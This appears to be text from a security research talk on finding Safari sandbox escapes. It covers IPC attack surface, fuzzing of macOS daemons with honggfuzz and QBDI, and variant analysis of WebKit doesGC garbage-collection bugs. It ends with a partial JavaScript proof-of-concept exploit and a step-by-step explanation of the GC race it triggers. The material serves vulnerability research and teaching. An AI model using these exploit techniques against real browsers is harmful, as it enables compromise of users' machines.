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Attack Surface



Safari sandbox profiles

/System/Library/Frameworks/……/com.apple.WebProcess.sb

+
/System/Library/Sandbox/Profiles/system.sb



(allow mach-lookup

(global-name "com.apple.analyticsd")

(global-name "com.apple.analyticsd.messagetracer")

(global-name "com.apple.appsleep")

(global-name "com.apple.bsd.dirhelper")

(global-name "com.apple.cfprefsd.agent")

(global-name "com.apple.cfprefsd.daemon")

(global-name "com.apple.diagnosticd")

(global-name "com.apple.espd")

(global-name "com.apple.logd")

(global-name "com.apple.logd.events")

(global-name "com.apple.secinitd")

(global-name "com.apple.system.DirectoryService.libinfo_v1")

(global-name "com.apple.system.logger")

(global-name "com.apple.system.notification_center")

(global-name "com.apple.system.opendirectoryd.libinfo")

(global-name "com.apple.system.opendirectoryd.membership")

(global-name "com.apple.trustd")

(global-name "com.apple.trustd.agent")

(global-name "com.apple.xpc.activity.unmanaged")

(local-name "com.apple.cfprefsd.agent"))

• All IPC endpoints that the 
sandbox profile allows via “allow 
mach-lookup” is an attack 
surface reachable from the 
Safari Sandbox



Maintaining an updated list of the attack surface



Maintaining an updated list of the attack surface

• Newly added services to the Safari sandbox profiles are worth 
checking out. Might find low hanging fruits in fresh new services

• Categorizing helps because you can focus on unsandboxed services
that run as either the user or root

• Focus on services that use specific IPC methods (XPC, NSXPC)



Types of IPC communication

• Legacy IPC - Around a dozen. Old services and legacy functionality

• XPC – Most new services

• NSXPC – Most new services
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Legacy IPC services

• Has been a target for SBX in multiple Pwn2Own competitions

• Custom deserialization logic that’s different in every service

• More prone to memory corruption bugs

• More easier to read, less Objective-C

• Comes in different flavors : mach_msg_server, MSHCreateMIGServerSource, 
dispatch_source_mig_create, custom handler loop ……



How it’s implemented

securityd daemon



int main(int argc, char *argv[])

{

...

...

// okay, we're ready to roll

secnotice("SecServer", "Entering service as %s", (char*)bootstrapName);

Syslog::notice("Entering service");

// go

server.run();

// fell out of runloop (should not happen)

Syslog::alert("Aborting");

return 1;

}

• main() calls server.run()



//

// Run the server. This will not return until the server is forced to exit.

//

void Server::run()

{

MachServer::run(0x10000,

MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) |

MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT));

}

• Server::run() calls MachServer.run()



void MachServer::run(mach_msg_size_t maxSize, mach_msg_options_t options)

{

// establish server-global (thread-shared) parameters

mMaxSize = maxSize;

mMsgOptions = options;

// establish the thread pool state

// (don't need managerLock since we're the only thread as of yet)

idleCount = workerCount = 1;

nextCheckTime = Time::now() + workerTimeout;

leastIdleWorkers = 1;

highestWorkerCount = 1;

// run server loop in initial (immortal) thread

secinfo("machserver", "start thread");

runServerThread(false);

secinfo("machserver", "end thread");

// primary server thread exited somehow (not currently possible)

assert(false);

}

• MachServer::run() calls runServerThread()



void MachServer::runServerThread(bool doTimeout)

{

// allocate request/reply buffers

Message bufRequest(mMaxSize);

Message bufReply(mMaxSize);

// all exits from runServerThread are through exceptions

try {

...

...

bool handled = false;

for (HandlerSet::const_iterator it = mHandlers.begin();

it != mHandlers.end(); it++)

if (bufRequest.localPort() == (*it)->port()) {

(*it)->handle(bufRequest, bufReply);

handled = true;

}

if (!handled) {

// unclaimed, send to main handler

handle(bufRequest, bufReply);

}

• Allocates a mach message request and reply buffer

• Uses a custom message handler loop to handle incoming/outgoing mach messages

• runServerThread() calls Server::handle()



boolean_t Server::handle(mach_msg_header_t *in, mach_msg_header_t *out)

{

return ucsp_server(in, out) || self_server(in, out);

}

• Server::handle() calls ucsp_server()



Generating the MIG template code

externalist@Kis-iMac | ~/Security-58286.260.20/OSX/libsecurityd/mig > ls -la

-rw-r--r--@ 1 externalist  staff   2242 Feb 20  2019 cshosting.defs

-rw-r--r--@ 1 externalist  staff   5595 Feb 20  2019 ss_types.defs

-rw-r--r--@ 1 externalist  staff  13785 Feb 20  2019 ucsp.defs

-rw-r--r--@ 1 externalist  staff   1702 Feb 20  2019 ucspNotify.defs

externalist@Kis-iMac | ~/Security-58286.260.20/OSX/libsecurityd/mig > mig ucsp.defs

externalist@Kis-iMac | ~/Security-58286.260.20/OSX/libsecurityd/mig > ls -la

-rw-r--r--@ 1 externalist  staff    2242 Feb 20  2019 cshosting.defs

-rw-r--r--@ 1 externalist  staff    5595 Feb 20  2019 ss_types.defs

-rw-r--r--@ 1 externalist  staff   13785 Feb 20  2019 ucsp.defs

-rw-r--r-- 1 externalist  staff  102797 Nov 26 14:21 ucsp.h

-rw-r--r--@ 1 externalist  staff    1702 Feb 20  2019 ucspNotify.defs

-rw-r--r-- 1 externalist  staff  447984 Nov 26 14:21 ucspServer.c

-rw-r--r-- 1 externalist  staff  489997 Nov 26 14:21 ucspUser.c



mig_external boolean_t ucsp_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP) {

mig_routine_t routine;

OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);

OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;

/* Minimal size: routine() will update it if different */

OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);

OutHeadP->msgh_local_port = MACH_PORT_NULL;

OutHeadP->msgh_id = InHeadP->msgh_id + 100;

OutHeadP->msgh_reserved = 0;

if ((InHeadP->msgh_id > 1098) || (InHeadP->msgh_id < 1000) ||

((routine = ucsp_server_ucsp_subsystem.routine[InHeadP->msgh_id - 1000].stub_routine) == 0)) {

((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;

((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;

return FALSE;

}

(*routine) (InHeadP, OutHeadP);

return TRUE;

}

• Retrieves the MIG routine from MIG subsystem array, then calls the MIG function with the 
mach message input and output buffer



routine openToken(UCSP_PORTS; in ssid: uint32; in name: FilePath;

in accessCredentials: Data; out db: IPCDbHandle);

routine findFirst(UCSP_PORTS; in db: IPCDbHandle; in query: Data;

in inAttributes : Data; out outAttributes: Data;

in getData: boolean_t; out data: Data; out key: IPCKeyHandle; out search: IPCSearchHandle; out record:

IPCRecordHandle);

routine findNext(UCSP_PORTS; in search: IPCSearchHandle;

in inAttributes : Data; out outAttributes: Data;

in getData: boolean_t; out data: Data; out key: IPCKeyHandle; out record: IPCRecordHandle);

routine findRecordHandle(UCSP_PORTS; in record: IPCRecordHandle;

in inAttributes : Data; out outAttributes: Data;

in getData: boolean_t; out data: Data; out key: IPCKeyHandle);

routine insertRecord(UCSP_PORTS; in db: IPCDbHandle; in recordType: CSSM_DB_RECORDTYPE;

in attributes : Data; in data: Data; out record: IPCRecordHandle);

routine deleteRecord(UCSP_PORTS; in db: IPCDbHandle; in record: IPCRecordHandle);

routine modifyRecord(UCSP_PORTS; in db: IPCDbHandle; inout record: IPCRecordHandle; in recordType: CSSM_DB_RECORDTYPE;

in attributes : Data; in setData: boolean_t; in data: Data;

in modifyMode: CSSM_DB_MODIFY_MODE);

routine releaseSearch(UCSP_PORTS; in search: IPCSearchHandle);

routine releaseRecord(UCSP_PORTS; in record: IPCRecordHandle);

• All MIG functions that receive a variable sized buffer are worth looking into

• Very often, the MIG function will parse the buffer or unserialize it



RecordHandle ClientSession::findFirst(DbHandle db,

const CssmQuery &inQuery,

SearchHandle &hSearch,

CssmDbRecordAttributeData *attributes,

CssmData *data, KeyHandle &hKey)

{

CopyIn query(&inQuery, reinterpret_cast<xdrproc_t>(xdr_CSSM_QUERY));

CopyIn in_attr(attributes, reinterpret_cast<xdrproc_t>(xdr_CSSM_DB_RECORD_ATTRIBUTE_DATA));

void *out_attr_data = NULL, *out_data = NULL;

mach_msg_size_t out_attr_length = 0, out_data_length = 0;

RecordHandle ipcHRecord = 0;

• For example, MIG function ClientSession::findFirst

• The function invokes a constructor passing the attacker controlled buffer as arguments



Unserialization of attacker controlled data

Lots of unserialization going on here…



Example : Dock (no source code)
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Example : Dock (no source code)



Approaches

• If source code exists, audit the source code

• Pure reverse engineering. Audit the reverse engineered code

• Fuzz harder, smarter, deeper

• Variant analysis



Building an 
IPC Fuzzer



Goal

• Tried and True method. Coverage guided fuzzing

• Make it work for arbitrary legacy IPC functions

• Modify existing fuzzers. Cuts development time

• Make it generic, so it can be plugged in to most IPC endpoints



Which fuzzer?

• AFL

• Libfuzzer

• Honggfuzz



Which fuzzer?

• AFL

- Rudimentary support for MacOS. Currently in Beta phase

• Libfuzzer

• Honggfuzz



Which fuzzer?

• AFL

- Rudimentary support for MacOS. Currently in Beta phase

• Libfuzzer

- Need source. Can’t apply to daemons (compiled binaries)

• Honggfuzz



Which fuzzer?

• AFL

- Rudimentary support for MacOS. Currently in Beta phase

• Libfuzzer

- Need source. Can’t apply to daemons (compiled binaries)

• Honggfuzz

- Supports MacOS. Mature project. Modular design that’s easy to modify



Which fuzzer?

• AFL

- Rudimentary support for MacOS. Currently in Beta phase

• Libfuzzer

- Need source. Can’t apply to daemons (compiled binaries)

• Honggfuzz

- Supports MacOS. Mature project. Modular design that’s easy to modify



Fuzzing MacOS binaries with a DBI



Fuzzing MacOS binaries with a DBI



What Paul Hernault proposed

• Basically the same concept as WinAFL

• Glues together honggfuzz & target functions with QBDI to make 
coverage guided fuzzing work in MacOS

• With this, it makes it easy to fuzz Library or Framework (as well as regular 

executables) functions, with the least amount of effort



Case study : Dock



Implementation

Initialize QBDI

Honggfuzz persistent fuzzing loop

Execute target function with QBDI



Implementation

Global variables from libhfuzz

Executes on each basic block. Mark the feedback bitmap(shared memory) that Honggfuzz interprets



Demo
Rediscovering Niklas Baumstark’s Pwn2Own 2019 Sandbox escape



What about daemon functions?

• If it is a self-contained pure parsing function, then previous method 
can be applied

• If the function relies on the daemon actually running as a normal 
service, then need to use a different method (can’t fork a live daemon)

• Alternative : in-memory fuzzing

• in-memory fuzzing with honggfuzz’s coverage guided fuzzing…?



Fuzzer design

(Lightly upgraded Honggfuzz)



Honggfuzz injects dylib into the Daemon.
The dylib(client) executes all of the client-side code in it’s constructor.
The dylib is a modified version of “libhfuzz” that includes all of the client-side honggfuzz code

Honggfuzz

(Server)

Daemon

(Client)

Inject dylib



Honggfuzz passes all file descriptors to the dylib thread via Unix domain sockets. This includes :
- Persistent mode state machine file descriptor
- Mutated file content file descriptor
- Feedback bitmap shared memory file descriptor
- Log file file descriptor

Honggfuzz

(Server)

Daemon

(Client)

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

Client dup2()’s all file descriptors to hardcoded values that the honggfuzz client code expects
Client sends ACK to honggfuzz

ACK

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

Honggfuzz sends it’s exception port service name and thread number to client through sockets

ACK

Exception port, Thread number

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

Client receives the exception port and registers all exceptions to be handled on that port. That way, 
the client’s exceptions will be passed to Honggfuzz(server) and will be handled there.
Thread number is saved just to match the conventions in the client-side honggfuzz code.
Client sends ACK to server

ACK

Exception port, Thread number

ACK

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

Client initializes QBDI
Client starts running the Honggfuzz persistent loop (HF_ITER)

ACK

Exception port, Thread number

ACK

Init QBDI

Run persistent 

loop

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

The mutated files are passed from the server to client through the shared file descriptors.
The persistent loop state machine is also managed by the shared file descriptors

ACK

Exception port, Thread number

ACK

Send mutated input to client

Execute target function with input. Request next file

Init QBDI

Run persistent 

loop

File descriptors

Inject dylib



Honggfuzz

(Server)

Daemon

(Client)

Client runs the target function through QBDI (qbdi_call).
The Basic Block callback function marks the coverage data on shared memory, which is processed by 
the server (Honggfuzz)

ACK

Exception port, Thread number

ACK

Init QBDI

Run persistent 

loop

File descriptors

Send mutated input to client

Execute target function with input. Request next file

Inject dylib



Inspiration from Niklas Baumstark

Thanks!



Fuzzing securityd



Fuzzing securityd



Fuzzing securityd



Demo
Coverage Guided fuzzing on live running daemons



Variant Analysis



Variant Analysis

Searching for Low Hanging Fruit



A lot of top researchers are also doing this…



Quote from Bruno Keith

Can’t agree to this more…

Especially about bug collisions
(Actually, it is the same for       

fuzzing known attack surfaces)



Variant Analysis - HOWTO

• Pick a good bug (preferably an exploitable bug that’s patched)

• Find the component (binary, source code) containing the faulty code

• Fully understand the root cause

• Understand the attack surface of the bug

• Find a similar bug pattern in the attack surface



Case study 1 : A patched Webkit bug

• A DFG JIT bug

• A garbage collection race condition

• doesGC() function bug family

• First found by lokihardt in 2018.10



Case study 1 : A patched Webkit bug



Luca’s variants



The patch



Root cause analysis

Understanding the        pattern



bool doesGC(Graph& graph, Node* node)

{

if (clobbersHeap(graph, node))

return true;

switch (node->op()) {

case JSConstant:

...

case CompareEq:

...

return false;

• The doesGC() function is responsible of telling the DFG compiler which DFG opcodes can 

induce a Garbage Collection

• Before the patch, CompareEq DFG opcode used to be marked as not inducing a GC



void SpeculativeJIT::compile(Node* node)

{

NodeType op = node->op();

//...

switch (op) {

case JSConstant:

//...

case CompareEq:

if (compare(node, JITCompiler::Equal, JITCompiler::DoubleEqual, operationCompareEq))

return;

break;

• How the DFG JIT compiles the vulnerable CompareEq operation



// Returns true if the compare is fused with a subsequent branch.

bool SpeculativeJIT::compare(Node* node, MacroAssembler::RelationalCondition condition, MacroAssembler::DoubleCondition

doubleCondition, S_JITOperation_EJJ operation)

{

...

if (node->isBinaryUseKind(StringUse)) {

if (node->op() == CompareEq)

compileStringEquality(node);

else

compileStringCompare(node, condition);

return false;

}

}

void SpeculativeJIT::compileStringEquality(Node* node)

{

...

compileStringEquality(

node, leftGPR, rightGPR, lengthGPR, leftTempGPR, rightTempGPR, leftTemp2GPR,

rightTemp2GPR, fastTrue, JITCompiler::Jump());

}

• If both arguments are of String type, then it’ll flow into compileStringEquality



void SpeculativeJIT::compileStringEquality(

Node* node, GPRReg leftGPR, GPRReg rightGPR, GPRReg lengthGPR, GPRReg leftTempGPR,

GPRReg rightTempGPR, GPRReg leftTemp2GPR, GPRReg rightTemp2GPR,

const JITCompiler::JumpList& fastTrue, const JITCompiler::JumpList& fastFalse)

{

//...

m_jit.loadPtr(MacroAssembler::Address(leftGPR, JSString::offsetOfValue()), leftTempGPR);

m_jit.loadPtr(MacroAssembler::Address(rightGPR, JSString::offsetOfValue()), rightTempGPR);

slowCase.append(m_jit.branchIfRopeStringImpl(leftTempGPR));

slowCase.append(m_jit.branchIfRopeStringImpl(rightTempGPR));

//...

done.link(&m_jit);

addSlowPathGenerator(

slowPathCall(

slowCase, this, operationCompareStringEq, leftTempGPR, leftGPR, rightGPR));

blessedBooleanResult(leftTempGPR, node);

}

• If any of the arguments is a Rope String, then it’ll flow into operationCompareStringEq



EncodedJSValue JIT_OPERATION operationCompareStringEq(ExecState* exec, JSCell* left, JSCell* right) {

VM* vm = &exec->vm();

NativeCallFrameTracer tracer(vm, exec);

bool result = asString(left)->equal(exec, asString(right));

//...

}

bool JSString::equal(ExecState* exec, JSString* other) const {

if (isRope() || other->isRope())

return equalSlowCase(exec, other);

return WTF::equal(*valueInternal().impl(), *other->valueInternal().impl());

}

bool JSString::equalSlowCase(ExecState* exec, JSString* other) const {

VM& vm = exec->vm();

auto scope = DECLARE_THROW_SCOPE(vm);

String str1 = value(exec);

String str2 = other->value(exec);

//...

}

• The slowpath function call chain is executed



inline const String& JSString::value(ExecState* exec) const {

if (validateDFGDoesGC)

RELEASE_ASSERT(vm()->heap.expectDoesGC());

if (isRope())

return static_cast<const JSRopeString*>(this)->resolveRope(exec);

return valueInternal();

}

const String& JSRopeString::resolveRope(ExecState* nullOrExecForOOM) const {

return resolveRopeWithFunction(nullOrExecForOOM, [] (Ref<StringImpl>&& newImpl) {

return WTFMove(newImpl);

});

}

const String& JSRopeString::resolveRopeWithFunction(ExecState* nullOrExecForOOM, Function&& function) const {

//...

UChar* buffer;

auto newImpl = StringImpl::tryCreateUninitialized(length(), buffer);

//...

}

• If one of the arguments is a Rope string, it’ll eventually try to resolve the rope string

• This results in creating a new buffer with the combined size of all the strings in the rope 

string



inline const String& JSString::value(ExecState* exec) const {

if (validateDFGDoesGC)

RELEASE_ASSERT(vm()->heap.expectDoesGC());

if (isRope())

return static_cast<const JSRopeString*>(this)->resolveRope(exec);

return valueInternal();

}

const String& JSRopeString::resolveRope(ExecState* nullOrExecForOOM) const {

return resolveRopeWithFunction(nullOrExecForOOM, [] (Ref<StringImpl>&& newImpl) {

return WTFMove(newImpl);

});

}

const String& JSRopeString::resolveRopeWithFunction(ExecState* nullOrExecForOOM, Function&& function) const {

//...

UChar* buffer;

auto newImpl = StringImpl::tryCreateUninitialized(length(), buffer);

//...

}

• The problem is that this new large allocation could initiate the Garbage Collector

• This violates the assumption made in doesGC that the CompareEq opcode does not induce 

a Garbage collection



Why is this a problem?

• The DFGStoreBarrierInsertionPhase(that relies on accurate modeling of the 

doesGC function) optimization phase doesn’t emit Write Barriers where it 

should emit them

• As a result, the Garbage Collector has a possibility to miss marking JSObjects

(not guarded by write barriers) in the optimized function

• The attacker can abuse this and race the GC thread with the mutator thread, 

and make GC not mark certain JSObjects that are still referenced in an array

• When the block holding the unmarked JSObject is Swept due to a lot of new 

allocations, the (still referenced) JSObject will be added to the freelist



Finding a variant of the bug 
assuming we took a time machine 

back to 2019.3



Ingredients

• The switch case of the DFG opcode in doesGC must return false

• When the emitted JIT code of the DFG opcode executes, it must allocate a new 
object

• The size of the allocated object should be controllable (Preferrably controllable to a very 

large size for ease of GC trigger, i.e. Rope Strings)

• During the JIT opcode execution, there must be no code that holds the lock of the 
Garbage collector



bool doesGC(Graph& graph, Node* node)

{

if (clobbersHeap(graph, node))

return true;

switch (node->op()) {

case JSConstant:

...

case HasIndexedProperty:

...

return false;

• Webkit code after Luca’s variants were patched (2019.03)

• There is a DFG opcode HasIndexedProperty that was marked as not inducing a GC



void SpeculativeJIT::compile(Node* node)

{

NodeType op = node->op();

//...

switch (op) {

case JSConstant:

//...

case HasIndexedProperty: {

compileHasIndexedProperty(node);

break;

}

• How the DFG JIT compiles the HasIndexedProperty operation



void SpeculativeJIT::compileHasIndexedProperty(Node* node)

{

SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));

SpeculateStrictInt32Operand index(this, m_graph.varArgChild(node, 1));

GPRTemporary result(this);

GPRReg baseGPR = base.gpr();

GPRReg indexGPR = index.gpr();

GPRReg resultGPR = result.gpr();

MacroAssembler::JumpList slowCases;

ArrayMode mode = node->arrayMode();

switch (mode.type()) {

case Array::Int32:

case Array::Contiguous: {

//...

}

addSlowPathGenerator(slowPathCall(slowCases, this, operationHasIndexedPropertyByInt, resultGPR, baseGPR, indexGPR,

static_cast<int32_t>(node->internalMethodType())));

}

• If target object is not an Array object, then it’ll compile a call to the slowcase



size_t JIT_OPERATION operationHasIndexedPropertyByInt(ExecState* exec, JSCell* baseCell, int32_t subscript, int32_t 

internalMethodType)

{

//...

return object->hasPropertyGeneric(exec, subscript, static_cast<PropertySlot::InternalMethodType>(internalMethodType));

}

bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, PropertySlot::InternalMethodType

internalMethodType) const

{

PropertySlot slot(this, internalMethodType);

return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);

}

ALWAYS_INLINE bool JSObject::getPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot)

{

//...

while (true) {

Structure* structure = structureIDTable.get(object->structureID());

bool hasSlot = structure->classInfo()->methodTable.getOwnPropertySlotByIndex(object, exec, propertyName, slot);

//...

• Through a chain of function calls, it calls the target JSObject’s getOwnPropertySlotByIndex

method



bool StringObject::getOwnPropertySlotByIndex(JSObject* object, ExecState* exec, unsigned propertyName, PropertySlot& slot)

{

StringObject* thisObject = jsCast<StringObject*>(object);

if (thisObject->internalValue()->getStringPropertySlot(exec, propertyName, slot))

return true;

return JSObject::getOwnPropertySlot(thisObject, exec, Identifier::from(exec, propertyName), slot);

}

ALWAYS_INLINE bool JSString::getStringPropertySlot(ExecState* exec, unsigned propertyName, PropertySlot& slot) {

//...

if (propertyName < length()) {

JSValue value = getIndex(exec, propertyName);

//...

}

inline JSString* JSString::getIndex(ExecState* exec, unsigned i) {

VM& vm = exec->vm();

auto scope = DECLARE_THROW_SCOPE(vm);

StringView view = unsafeView(exec);

//...

}

• If the target JSObject is a StringObject, then it goes through a chain of function calls until…



ALWAYS_INLINE StringView JSString::unsafeView(ExecState* exec) const

{

if (validateDFGDoesGC)

RELEASE_ASSERT(vm()->heap.expectDoesGC());

if (isRope())

return static_cast<const JSRopeString*>(this)->unsafeView(exec);

return valueInternal();

}

ALWAYS_INLINE StringView JSRopeString::unsafeView(ExecState* exec) const

{

if (validateDFGDoesGC)

RELEASE_ASSERT(vm()->heap.expectDoesGC());

if (isSubstring()) {

auto& base = substringBase()->valueInternal();

if (base.is8Bit())

return StringView(base.characters8() + substringOffset(), length());

return StringView(base.characters16() + substringOffset(), length());

}

return resolveRope(exec);

}

• It reaches the resolveRope function. It reaches this area of code if the StringObject is 

storing a rope string instead of a regular string

• A variant of the patched doesGC bug



A variant that lived for another month



A variant that lived for another month



How Apple eliminated the doesGC() variants



How to exploit these doesGC bugs

Luca’s exploit gives the answer :)



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• A novel approach to race the GC. Luca just dropped the POC (in style) and moved on

• Assume the GC is running in a single thread



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• This creates an enormous tree of arrays

• The purpose of this tree is to make the GC traverse 

the tree in a breadth-first-search (kind of combined with 

depth-first-search in reverse direction, right to left) manner, so 

it’ll take some time to reach the leaf nodes



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• victim[1] points to the tree



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• The DFG compiler doesn’t know that this could induce a garbage collection, because 

doesGC returns false for the CompareLess opcode



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• A Write Barrier should have been inserted after this instruction, so the victim array would 

be marked as old-but-remembered

• However, because the CompareLess opcode returns false in doesGC, the 

DFGStoreBarrierInsertionPhase doesn’t emit the WriteBarrier (because the epoch of the victim 

node and the current epoch while handling the PutByVal opcode is the same)



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 CompareLess will wake up the garbage collector, if the rope string passed in to the 

argument [s] is very long (It is carefully calculated to be just the right size)



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 CompareLess will wake up the garbage collector, if the rope string passed in to the 

argument [s] is very long (It is carefully calculated to be just the right size)

 Before the mutator (javascript executing thread) even reaches this line, the GC will have 

already marked all 8 elements of the victim array



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 CompareLess will wake up the garbage collector, if the rope string passed in to the 

argument [s] is very long (It is carefully calculated to be just the right size)

 Before the mutator (javascript executing thread) even reaches this line, the GC will have 

already marked all 8 elements of the victim array

 GC is traversing the enormous tree in a breadth-first-search(but slightly in reverse)

manner. The GC hasn’t reached the leaf nodes of the array yet



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 Before the GC ever has a chance to reach 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0], the mutator

will snatch it and save it to victim[0]



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 Before the GC ever has a chance to reach 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0], the mutator

will snatch it and save it to victim[0]

 The mutator executes 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 At some point later, when the GC finally arrives at 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] to mark it, it’ll 

only see the constant 0



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 At some point later, when the GC finally arrives at 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] to mark it, it’ll 

only see the constant 0

 Since the victim array is not Write Barrier protected, it’ll not be put back to the Mark 

Stack. Therefore, the GC will not revisit the victim array to mark the updated value in 

victim[0]. victim[0] holds a valid JSObject, but this object is not marked (White)



function opt(s,k,ss) {

let ls = "A"+s;

let longwait = ralloc(ss,k,0);

let victim = new Array(8);

victim[1] = longwait[0];

longwait[0] = victim;

ls < "a";

victim[0] = victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0];

victim[1][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] = 0;

return victim;

}

• What the attacker can do :

 At some point later, when the GC finally arrives at 

array_tree[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0] to mark it, it’ll 

only see the constant 0

 Since the victim array is not Write Barrier protected, it’ll not be put back to the Mark 

Stack. Therefore, the GC will not revisit the victim array to mark the updated value in 

victim[0]. victim[0] holds a valid JSObject, but this object is not marked (White)

 This array is returned to the caller.



for (let i=0; i<1000; i++) {

for (let i=0; i<1000; i++) {

spr[i] = new Array(2).fill(14.47);

}

let lw = opt(s+"A",20,7);

edenGC();

for (let i=0; i<100; i++) {

let z = {h:new Array(2).fill(13.37),a:0,c:0,k:0};

z.h.length = 0x1ff;

}

edenGC();

• What the attacker can do :

 The attacker can keep allocating objects with the same size as the unmarked JSObject, 

and at some point the freelist of the target JSObject size class will be exhausted and a 

GC will start to sweep blocks



• What the attacker can do :

